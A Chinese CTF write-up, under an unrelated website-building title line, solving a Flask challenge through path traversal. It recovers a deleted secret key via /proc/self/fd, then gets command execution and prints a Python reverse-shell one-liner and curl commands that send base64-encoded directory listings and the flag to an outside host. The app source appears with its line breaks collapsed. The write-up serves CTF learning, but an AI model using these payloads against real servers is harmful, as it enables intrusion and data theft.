企业网站建设方式/企业营销型网站建设
读取源码,反弹shell
文章目录
- 解题过程
- 非预期
- 预期解
- SECRET_KEY
- python反弹shell
- curl反弹shell
- 参考链接
解题过程
打开环境,输入随便啥东西,url会变化,已GET方式进行的传参url
尝试文件读取,../../../../etc/passwd
,会下载一个图片,使用编辑器打开,证明是可以文件读取的
非预期
直接读取flag文件,../../../../flag
,23333333333
预期解
读取
/proc/self/environ
/proc/self/cmdline
得到python2 app.py
,读取源码
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)
分析一下:
首先是定义了SECRET_KEY
,然后将其删除,但是没有关闭,所以还能够在/proc/self/fd/xxx
里找到,而且本题含有文件读取漏洞,所以可以得到SECRET_KEY
。
/page
下是定义了一个文件读取的功能
/no_one_know_the_manager
下是传两个参数,如果key == SECRET_KEY
,那么就可以执行命令,但是没有回显,可以用来反弹shell.
SECRET_KEY
读取/proc/self/fd/xxx
,数字从一开始,到三的时候发现
lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=
python反弹shell
有了key值,就可使用python进行反弹shell
首先监听3333端口(port自定)
nc -lvp 3333/no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
反弹shell之后,cat即可
curl反弹shell
客户机监听端口3333
nc -lvp 3333no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=curl ip:port/`ls /|base64`no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=curl ip:port/`cat /flag|base64`
执行的命令分别是
ls /|base64
cat /flag|base64
使用`执行命令
再解码一次,得到flag
参考链接
- 反弹shell命令